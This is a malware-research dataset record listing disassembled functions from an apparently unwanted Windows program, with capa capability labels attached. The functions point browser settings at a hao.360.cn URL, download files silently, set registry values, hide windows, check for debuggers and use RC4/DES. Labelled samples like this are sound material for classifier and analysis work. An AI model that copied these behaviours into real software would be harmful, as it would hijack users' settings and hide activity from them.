joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410e70
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push esi
mov ebx, ecx
mov edi, edx
mov dword [ebp - 0x464], esi
mov dword [ebp - 0x468], esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x464]
push eax
push 0x44662c
push 1
push esi
push 0x44673c
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, esi
jl 0x411046
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
lea edx, [ebp - 0x468]
push edx
push 0x44674c
push eax
mov eax, dword [ecx]
call eax
mov esi, eax
test esi, esi
js 0x410f05
mov eax, dword [ebp - 0x468]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push 0
push edi
push eax
call edx
mov esi, eax
test esi, esi
jns 0x410f26
mov eax, dword [ebp - 0x468]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x4c]
push 2
push 0
push eax
call edx
mov esi, eax
test esi, esi
js 0x410ef7
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.004212c0
mov eax, dword [ebp - 0x464]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
add esp, 0xc
push 1
lea ecx, [ebp - 0x460]
push ecx
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push eax
call edx
lea ecx, [ebp - 0x210]
call fcn.00410a80
test eax, eax
je 0x411025
test bl, 1
je 0x410fa2
and ebx, 0xfffffffe
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push str.http:__hao.360.cn__srclmlsn580357bf91
push eax
call edx
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
lea edx, [ebp - 0x468]
push edx
push 0x44674c
push eax
mov eax, dword [ecx]
call eax
mov esi, eax
test esi, esi
js 0x410f05
mov eax, dword [ebp - 0x468]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
push 1
push edi
push eax
call edx
mov esi, eax
mov eax, dword [ebp - 0x468]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
or ebx, 1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x468]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x464]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x412e70
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp dword [edi + 4], 0
je 0x412e9f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [edi + 4]
add eax, eax
push eax
mov eax, dword [ebp + 8]
push esi
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb eax, eax
inc eax
pop ebp
ret 4
xor eax, eax
pop ebp
ret 4
Function at 0x4146f0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442b83
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x45a024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push 0x24
mov dword [esi], vtable.Win32xx::CDC.0
call fcn.0041b5db
xor edi, edi
add esp, 4
cmp eax, edi
je 0x414739
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
jmp 0x41473b
xor eax, eax
mov dword [esi + 4], eax
mov dword [eax + 0x10], edi
mov eax, dword [esi + 4]
mov ebx, 1
mov dword [eax + 0x14], ebx
mov ecx, dword [esi + 4]
mov dword [ecx + 0x18], ebx
mov edx, dword [esi + 4]
mov dword [edx + 0x1c], edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [esi + 0xc], ecx
mov ecx, dword [ebp + 0x1c]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x18]
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], eax
mov dword [esi], vtable.MemDC.0
mov dword [esi + 0x18], ecx
mov dword [esi + 0x1c], edi
push 0xc
mov dword [esi + 0x28], vtable.Win32xx::CGDIObject.0
call fcn.0041b5db
mov dword [esi + 0x2c], eax
mov dword [eax], edi
mov edx, dword [esi + 0x2c]
mov dword [edx + 4], ebx
mov eax, dword [esi + 0x2c]
mov dword [eax + 8], ebx
add esp, 4
mov dword [esi + 0x28], vtable.Win32xx::CBitmap.0
mov byte [ebp - 4], bl
mov dword [esi + 0x20], edi
mov dword [esi + 0x30], edi
call fcn.004147d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x414d70
Capabilities:
Create thread

Disassembly:
push 0
push 0
push ecx
push 0x414bb0
push 0
push 0
call fcn.0041b736
add esp, 0x18
ret

Function at 0x414e20
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44303a
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x45a024]
xor eax, esp
mov dword [esp + 0x44], eax
push esi
push edi
mov eax, dword [0x45a024]
xor eax, esp
push eax
lea eax, [esp + 0x58]
mov dword fs:[0], eax
mov edi, ecx
mov ecx, dword [edi + 4]
lea eax, [esp + 0xc]
xor esi, esi
push eax
push ecx
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
sub esp, 0x10
mov eax, esp
mov dword [eax], edx
mov edx, dword [esp + 0x24]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x28]
mov dword [eax + 8], edx
mov edx, dword [ebp + 8]
mov dword [eax + 0xc], ecx
push edx
lea eax, [esp + 0x30]
push eax
call fcn.004146f0
lea ecx, [esp + 0x1c]
push ecx
mov ecx, edi
mov dword [esp + 0x64], esi
call fcn.00415000
lea edx, [esp + 0x1c]
push edx
call fcn.004156c0
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x64], 0xffffffff
call fcn.004148a0
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret 4
Function at 0x4155d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4612ac]
test eax, eax
jne 0x4155e2
mov dword [0x4612ac], eax
push esi
mov esi, dword [eax + 0x9c]
movzx eax, word [ebp + 8]
push edi
push 0x44fa14
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x415609
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
jne 0x41562e
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push esi
push eax
call fcn.00423990
add esp, 0xc
lea ecx, [ebp + 8]
push ecx
push 0
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ebx, dword [ebp + 8]
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x415685
lea eax, [esi + 4]
push eax
push ebx
mov dword [esi], vtable.Gdiplus::Image.0
mov dword [eax], 0
call dword [sym.imp.gdiplus.dll_GdipLoadImageFromStream]
mov dword [esi + 8], eax
jmp 0x415687
xor esi, esi
mov edx, dword [ebp + 0xc]
push edi
mov dword [edx], esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x418400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, eax
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4184ac
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push ebx
push eax
call fcn.00423990
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ecx, dword [ebp - 4]
push 0x10
mov dword [ebp - 8], ecx
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x418486
mov edx, dword [ebp - 8]
lea eax, [esi + 4]
push eax
push edx
mov dword [esi], vtable.Gdiplus::Image.0
mov dword [eax], 0
call dword [sym.imp.gdiplus.dll_GdipLoadImageFromStream]
mov dword [esi + 8], eax
jmp 0x418488
xor esi, esi
mov eax, dword [ebp + 8]
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x419300
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442078
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x48]
push ecx
mov dword [ebp - 4], 1
call fcn.00405d60
mov esi, eax
lea edx, [ebp + 0x24]
push edx
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 2
call fcn.00405d60
mov edi, 8
add esp, 0x10
cmp dword [esi + 0x14], edi
jb 0x419361
mov esi, dword [esi]
cmp dword [eax + 0x14], edi
jb 0x419368
mov eax, dword [eax]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
sete bl
cmp dword [ebp - 0x18], edi
jb 0x41938c
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.0041afda
add esp, 4
xor edx, edx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], dx
cmp dword [ebp - 0x34], edi
jb 0x4193b1
mov eax, dword [ebp - 0x48]
push eax
call fcn.0041afda
add esp, 4
mov esi, 0x10
test bl, bl
je 0x4193f5
cmp dword [ebp + 0x1c], esi
jb 0x4193cb
mov ecx, dword [ebp + 8]
push ecx
call fcn.0041afda
add esp, 4
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
cmp dword [ebp + 0x38], esi
jb 0x4193ee
mov edx, dword [ebp + 0x24]
push edx
call fcn.0041afda
add esp, 4
mov eax, 1
jmp 0x41942b
cmp dword [ebp + 0x1c], esi
jb 0x419406
mov eax, dword [ebp + 8]
push eax
call fcn.0041afda
add esp, 4
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
cmp dword [ebp + 0x38], esi
jb 0x419429
mov ecx, dword [ebp + 0x24]
push ecx
call fcn.0041afda
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x419560
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44202b
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x45a024]
xor eax, esp
mov dword [esp + 0x58], eax
push ebx
push esi
push edi
mov eax, dword [0x45a024]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov edi, ecx
mov eax, dword [edi]
mov edx, dword [eax + 4]
lea ecx, [esp + 0x18]
push ecx
mov ecx, edi
call edx
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x30]
push edx
mov edx, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x48]
push edx
mov edx, dword [esp + 0x50]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x60]
push edx
mov edx, dword [esp + 0x68]
push eax
push ecx
push edx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [edi + 8], eax
push 0x34
mov dword [esi], eax
call fcn.0041b5db
add esp, 4
mov dword [esp + 0x14], eax
xor ebx, ebx
mov dword [esp + 0x78], ebx
cmp eax, ebx
je 0x419612
mov esi, eax
call fcn.0041a1d0
jmp 0x419614
xor eax, eax
mov dword [esp + 0x78], 0xffffffff
mov ecx, dword [edi + 8]
push ecx
mov esi, eax
mov dword [edi + 0xc], eax
call fcn.0041a5c0
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx + 0x20]
push str.http:__srfcount.sulang.com_cnzztest_img3.html
call eax
mov ecx, dword [edi + 8]
push 0x70
push ebx
push 0x512
push ecx
call dword [sym.imp.USER32.dll_RegisterHotKey]
sub esp, 0x1c
mov esi, esp
xor edx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], ebx
mov eax, 0x4642b8
mov word [esi], dx
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x64], esp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x419673
sub eax, edx
sar eax, 1
push eax
mov eax, 0x4642b8
call fcn.00404070
lea ebx, [esp + 0x68]
call fcn.00405e50
mov ebx, 0x10
add esp, 0x1c
cmp dword [eax + 0x14], ebx
jb 0x4196a5
mov eax, dword [eax]
push eax
call fcn.0041c874
add esp, 4
mov esi, eax
cmp dword [esp + 0x60], ebx
jb 0x4196c3
mov eax, dword [esp + 0x4c]
push eax
call fcn.0041afda
add esp, 4
lea ecx, [esi - 1]
mov eax, esi
cmp ecx, 0x59f
jbe 0x4196d4
mov eax, dword [esp + 0x14]
mov edx, dword [edi + 8]
imul eax, eax, 0xea60
push 0
push eax
push 1
push edx
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret 4
Function at 0x419b30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x419bdc
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push ebx
push eax
call fcn.00423990
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ecx, dword [ebp - 4]
push 0x10
mov dword [ebp - 8], ecx
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x419bb6
mov edx, dword [ebp - 8]
lea eax, [esi + 4]
push eax
push edx
mov dword [esi], vtable.Gdiplus::Image.0
mov dword [eax], 0
call dword [sym.imp.gdiplus.dll_GdipLoadImageFromStream]
mov dword [esi + 8], eax
jmp 0x419bb8
xor esi, esi
mov eax, dword [ebp + 8]
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41a0c0
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [0x46551c]
push esi
movsx esi, ax
push edi
shr eax, 0x10
movsx edi, ax
push edi
push esi
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x2f
mov dword [ebp - 0x10], 0x7b
mov dword [ebp - 0x14], 0x5f
mov dword [ebp - 0xc], 0x78
mov dword [ebp - 0x28], 0xdc
mov dword [ebp - 0x20], 0xeb
mov dword [ebp - 0x24], 0x33
mov dword [ebp - 0x1c], 0x42
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
je 0x41a17c
cmp dword [0x45cff4], 0
je 0x41a174
mov ecx, dword [ebx + 8]
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push ebx
push 0x40bbf0
push 0
push 0
call fcn.0041b736
add esp, 0x18
mov dword [0x465518], eax
cmp eax, 0xffffffff
je 0x41a169
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push edi
push esi
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
je 0x41a1ae
xor eax, eax
cmp dword [0x45cff4], 1
setne al
mov dword [0x45cff4], eax
mov eax, dword [0x46551c]
lea ecx, [eax + 0x48]
add eax, 0xc
push eax
call fcn.00419bf0
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret 4

Function at 0x41af7a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45a024]
jne 0x41af84
repz ret
jmp fcn.0041ca1f
Function at 0x423d34
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041d1b2
and dword [ebp - 0x14], 0
cmp dword [0x45e8d4], 0
mov dword [ebp - 0x18], eax
jne 0x423de7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x423e8f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x423e8f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45e8d4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45e8d8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45e8dc], eax
call edi
push eax
call esi
mov dword [0x45e8e4], eax
test eax, eax
je 0x423de7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45e8e0], eax
mov eax, dword [0x45e8e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x423e40
cmp dword [0x45e8e4], ecx
je 0x423e40
push eax
call esi
push dword [0x45e8e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x423e40
test ebx, ebx
je 0x423e40
call edi
test eax, eax
je 0x423e37
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x423e37
test byte [ebp - 8], 1
jne 0x423e40
or dword [ebp + 0x10], 0x200000
jmp 0x423e73
mov eax, dword [0x45e8d8]
cmp eax, dword [ebp - 0x18]
je 0x423e73
push eax
call esi
test eax, eax
je 0x423e73
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x423e73
mov eax, dword [0x45e8dc]
cmp eax, dword [ebp - 0x18]
je 0x423e73
push eax
call esi
test eax, eax
je 0x423e73
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45e8d4]
call esi
test eax, eax
je 0x423e8f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x423e91
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041af7a
leave
ret

Function at 0x427bd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ecx, ecx
push edi
xor eax, eax
lea ecx, [ecx]
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jl 0x427be0
mov word [esi + 0x100], cx
xor edi, edi
mov eax, ecx
cdq
idiv dword [ebp + 0x10]
movzx ebx, byte [ecx + esi]
mov eax, dword [ebp + 0xc]
inc ecx
movzx edx, byte [edx + eax]
add edx, ebx
add edi, edx
and edi, 0xff
mov al, byte [edi + esi]
mov byte [ecx + esi - 1], al
mov byte [edi + esi], bl
cmp ecx, 0x100
jl 0x427bf4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x427c30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx edx, byte [eax + 0x101]
movzx ecx, byte [eax + 0x100]
push esi
xor esi, esi
mov dword [ebp + 8], edx
cmp dword [ebp + 0x10], esi
jle 0x427c98
push ebx
push edi
inc ecx
and ecx, 0xff
movzx edx, byte [ecx + eax]
mov dword [ebp - 4], edx
add edx, dword [ebp + 8]
inc esi
and edx, 0xff
movzx ebx, byte [edx + eax]
mov byte [ecx + eax], bl
mov ebx, dword [ebp - 4]
mov byte [edx + eax], bl
movzx edi, byte [ecx + eax]
add edi, ebx
and edi, 0xff
movzx ebx, byte [edi + eax]
mov edi, dword [ebp + 0xc]
xor byte [esi + edi - 1], bl
mov dword [ebp + 8], edx
cmp esi, dword [ebp + 0x10]
jl 0x427c52
pop edi
pop ebx
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x427cb0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.SrfMgr.exe_arcfour_LTX__mcrypt_encrypt

Function at 0x428220
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
xor ecx, ecx
jmp 0x428240
xor eax, eax
movsx edi, byte [eax + 0x45b268]
dec edi
cmp edi, ecx
je 0x428256
inc eax
cmp eax, 0x20
jl 0x428242
jmp 0x42825a
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x20
jl 0x428240
shl edx, 0xb
lea edi, [ebp - 0x23]
mov dword [ebp - 0x28], 0x45b068
lea eax, [edx + esi + 0x180]
xor esi, esi
mov dword [ebp - 0x2c], eax
lea esp, [esp]
mov eax, esi
sar eax, 1
mov ecx, esi
and ecx, 1
shl ecx, 4
and eax, 0xf
or eax, ecx
mov ecx, esi
and ecx, 0x20
or eax, ecx
mov ecx, dword [ebp - 0x28]
movsx eax, byte [ecx + eax]
xor edx, edx
test al, 8
je 0x4282b7
movsx edx, byte [edi - 1]
mov ecx, 0x1f
sub ecx, edx
mov edx, 1
shl edx, cl
test al, 4
je 0x4282ce
movsx ebx, byte [edi]
mov ecx, 0x1f
sub ecx, ebx
mov ebx, 1
shl ebx, cl
or edx, ebx
test al, 2
je 0x4282e6
movsx ebx, byte [edi + 1]
mov ecx, 0x1f
sub ecx, ebx
mov ebx, 1
shl ebx, cl
or edx, ebx
test al, 1
je 0x4282fe
movsx eax, byte [edi + 2]
mov ecx, 0x1f
sub ecx, eax
mov eax, 1
shl eax, cl
or edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
inc esi
add eax, 4
mov dword [ebp - 0x2c], eax
cmp esi, 0x40
jl 0x428280
mov ecx, dword [ebp - 0x28]
add ecx, 0x40
add edi, 4
mov dword [ebp - 0x28], ecx
cmp ecx, 0x45b268
jl 0x428274
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret

Function at 0x428390
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, eax
xor edx, edx
mov ecx, esi
call fcn.00428220
mov edx, 1
mov ecx, esi
call fcn.00428220
mov edx, 2
mov ecx, esi
call fcn.00428220
lea eax, [esi + 0x1980]
push 0x45af70
push eax
call fcn.004280b0
push 0x45afb0
add esi, 0x2180
push esi
call fcn.004280b0
add esp, 0x10
xor eax, eax
pop esi
ret